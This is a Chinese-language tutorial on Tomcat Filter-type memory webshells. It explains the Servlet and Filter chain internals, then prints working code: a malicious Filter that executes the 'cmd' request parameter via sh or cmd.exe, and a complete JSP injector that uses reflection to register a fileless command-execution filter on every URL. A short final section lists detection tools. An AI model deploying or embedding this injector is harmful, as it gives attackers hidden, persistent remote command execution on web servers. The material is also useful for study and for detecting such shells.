6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章:
Tomcat简介
什么是Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理流程
1. 客户端发起一个http请求,比如get类型。2. Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
3. Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
4. Servlet容器调用service()方法。service()方法根据请求类型,这里是get类型,分别调用doGet或者
doPost方法,这里调用doGet方法。doXXX方法中是我们自己写的业务逻辑。
5. 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。容器关闭时候,会调用destory方法
1.3 Tomcat和Servlet的关系
Tomcat 是Web应用服务器,是一个Servlet/JSP容器,Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。
其中Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
1. Engine,实现类为 org.apache.catalina.core.StandardEngine
2. Host,实现类为 org.apache.catalina.core.StandardHost
3. Context,实现类为 org.apache.catalina.core.StandardContext
4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
它们之间是存在父子关系的
- Engine:可以用来配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
- Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。 Context在创建的时候将根据配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
- Wrapper:一个 Wrapper 代表一个 Servlet。
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
最终的流程图如下:
Tomcat容器
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
Tomcat Filter流程分析
什么是Filter
filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
Filter生命周期
public void init(FilterConfig filterConfig) throws ServletException; //初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时, web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只 会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
public void destroy(); //销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
相关Filter类介绍
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
Filter过滤链分析
在IDEA中创建Servlet,可参照下方链接《IntelliJ IDEA创建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA创建Servlet 404问题(超详细)》,唯一不一样的是Filter配置在web.xml,而不是通过@注释配置在类中。
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>filter.FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链
FilterDemo.java:
package filter;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
访问 http://localhost:8080/,即可成功触发
接下来借用下面这张图分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的:
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml
先来看在StandardWrapperValue.java文件中中利用createFilterChain来创建filterChain
跟进createFilterChain方法
通过getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps
然后开始遍历FilterMaps
如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法
可以看到此时已经装配第一个filter
重复遍历直至将所有的filter全部装载到filterchain中
重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
此时的filterchain
跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法
跟进internalDoFilter方法
发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法。从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。
总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
根据上面的总结可以发现最开始是从 context 中获取的 FilterMaps
将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。
Filter型内存马
Filter型内存马原理
Filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。
web.xml简单实现内存马注入
看完上面的Filter过滤链,本地模拟一个Filter内存马注入:
在web.xml添加一个恶意的filter:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>cmd_Filters</filter-name> <filter-class>filter.cmd_Filters</filter-class> </filter> <filter-mapping> <filter-name>cmd_Filters</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
cmd_Filters.java
package filter; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; public class cmd_Filters implements Filter { public void destroy() { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request, response); } public void init(FilterConfig config) throws ServletException { } }
重新编译,执行命令
我们把恶意的Filter注入内存中,只要符合urlpattern,就可以触发内存shell,但这个Filter内存马注入是一次性的,重启就没有了。
看一下此时的Filter类filterConfigs,filterDefs,filterMaps保存的内容
filterchain中保存的内容
可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。
Filter内存马动态注入
从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,进而达到利用Filter执行内存注入的操作。
大致流程如下:
1. 创建一个恶意 Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
- 如何获取这个context对象。
- 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。
1) 如何获取这个(StandardContext)context对象
在这之前先来说一下ServletContext跟StandardContext的关系:
Tomcat中的对应的ServletContext实现是ApplicationContext。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过下面的图可以很清晰的看到两者之间的关系
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
其实也是层层递归取出context字段的值。
ServeltContext -> ApplicationContext
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //上面几行的目的是为了获取(ApplicationContext)context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
通过(ApplicationContext) appctx.get(servletContext)获取(ApplicationContext)context的内容:
现在的目的是继续获取(StandardContext)context的值
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //上面几行的目的是为了获取(StandradContext)context
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
通过(StandardContext) stdctx.get(servletContext)获取(StandardContext)context的内容:
这样就可以获取(StandardContext)context对象。
组合起来就是:
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); // ApplicationContext 为 ServletContext 的实现类 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
上面这种如果是可以直接获取到request对象,就可以通过将ServletContext转StandardContext这种方法来获取(StandardContext)context的方法。如果没有request对象的话可以从当前线程中获取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。
当然也可以从MBean中获取,可以参考下面文章:
2) 如何修改filterConfigs,filterDefs,filterMaps
查看StandardContext源码,先来介绍几个方法
addFilterDef
添加一个filterDef到Context
addFilterMapBefore
添加filterMap到所有filter最前面
ApplicationFilterConfig
为指定的过滤器构造一个新的 ApplicationFilterConfig
先来定义一个恶意的类filterDemo.java:
package filter; import javax.servlet.*; import java.io.IOException; class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
filterDef装载
看一下filterDef类的参数格式:
实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
//定义一些基础属性、类名、filter名等 filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); //name = filterDemo filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); //添加filterDef standardContext.addFilterDef(filterDef);
filterMap装载
看一下filterMap类的参数格式:
实例化一个FilterMap对象,并将filterMap到所有filter最前面
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/* FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*"); filterMap.addURLPattern("/xyz"); //name = filterDemo filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //添加我们的filterMap到所有filter最前面 standardContext.addFilterMapBefore(filterMap);
filterConfigs装载
FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
下面通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class与filterDef.class两种参数类型寻找对应的构造方法,获取一个Constructor类对象。
然后通过newInstance(standardContext, filterDef)来创建一个实例。
然后将恶意的filter名和配置好的filterConfig传入
//name = filterDemo filterConfigs.put(name,filterConfig);
至此,我们的恶意filter已经全部装载完成
3) 内存马动态注入
结合上面的分析,最终的内存马为:
filterDemo.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "FilterAgent"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
运行程序,访问filterDemo.jsp
此时的内存马已经注入到内存中,只需 ?cmd=Command,即可执行我们的命令
看一下此时的filterchain过滤链:
看一下filterConfigs,filterDefs,filterMaps中的内容:
已经成功注入到内存中
内存马排查
参考《tomcat内存马的多种查杀方式》
arthas
arthas是Alibaba开源的Java诊断工具
工具链接:https://github.com/alibaba/arthas
使用文档:https://arthas.aliyun.com/doc/quick-start.html
运行下面命令
java -jar arthas-boot.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
利用下面的命令进行模糊搜索,会列出所有调用了Filter的类
sc *.Filter
利用下面命令将 Class 进行反编译
jad --source-only org.apache.jsp.filterDemo_jsp
同时也可以进行监控 ,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
工具链接:https://github.com/LandGrey/copagent
运行下面命令
java -jar cop.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
然后在java或class文件夹会保存木马以及运行的类
java-memshell-scanner
工具链接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 师傅写的检测内存马的工具,通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。能够检测并且进行删除,是一个非常方便的工具
内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等。
本次项目的代码文件已打包在github:https://github.com/bmjoker/FilterAgent